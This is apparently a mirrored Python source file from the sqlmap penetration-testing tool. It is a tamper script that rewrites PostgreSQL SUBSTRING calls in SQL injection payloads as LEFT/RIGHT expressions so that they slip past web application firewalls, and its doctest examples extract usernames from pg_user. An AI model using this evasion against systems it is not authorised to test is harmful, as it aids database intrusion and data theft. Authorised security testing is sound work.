mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-23 10:03:47 +03:00
48 lines
1.2 KiB
Python
48 lines
1.2 KiB
Python
#!/usr/bin/env python
|
|
|
|
"""
|
|
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
|
|
See the file 'LICENSE' for copying permission
|
|
"""
|
|
|
|
import re
|
|
|
|
from lib.core.enums import PRIORITY
|
|
|
|
__priority__ = PRIORITY.NORMAL
|
|
|
|
def dependencies():
|
|
pass
|
|
|
|
def tamper(payload, **kwargs):
|
|
"""
|
|
Replaces PostgreSQL SUBSTRING with LEFT and RIGHT
|
|
|
|
Tested against:
|
|
* PostgreSQL 9.6.12
|
|
|
|
Note:
|
|
* Useful to bypass weak web application firewalls that filter SUBSTRING (but not LEFT and RIGHT)
|
|
|
|
>>> tamper('SUBSTRING((SELECT usename FROM pg_user)::text FROM 1 FOR 1)')
|
|
'LEFT((SELECT usename FROM pg_user)::text,1)'
|
|
>>> tamper('SUBSTRING((SELECT usename FROM pg_user)::text FROM 3 FOR 1)')
|
|
'LEFT(RIGHT((SELECT usename FROM pg_user)::text,-2),1)'
|
|
"""
|
|
|
|
retVal = payload
|
|
|
|
if payload:
|
|
match = re.search(r"SUBSTRING\((.+?)\s+FROM[^)]+(\d+)[^)]+FOR[^)]+1\)", payload)
|
|
|
|
if match:
|
|
pos = int(match.group(2))
|
|
if pos == 1:
|
|
_ = "LEFT(%s,1)" % (match.group(1))
|
|
else:
|
|
_ = "LEFT(RIGHT(%s,%d),1)" % (match.group(1), 1 - pos)
|
|
|
|
retVal = retVal.replace(match.group(0), _)
|
|
|
|
return retVal
|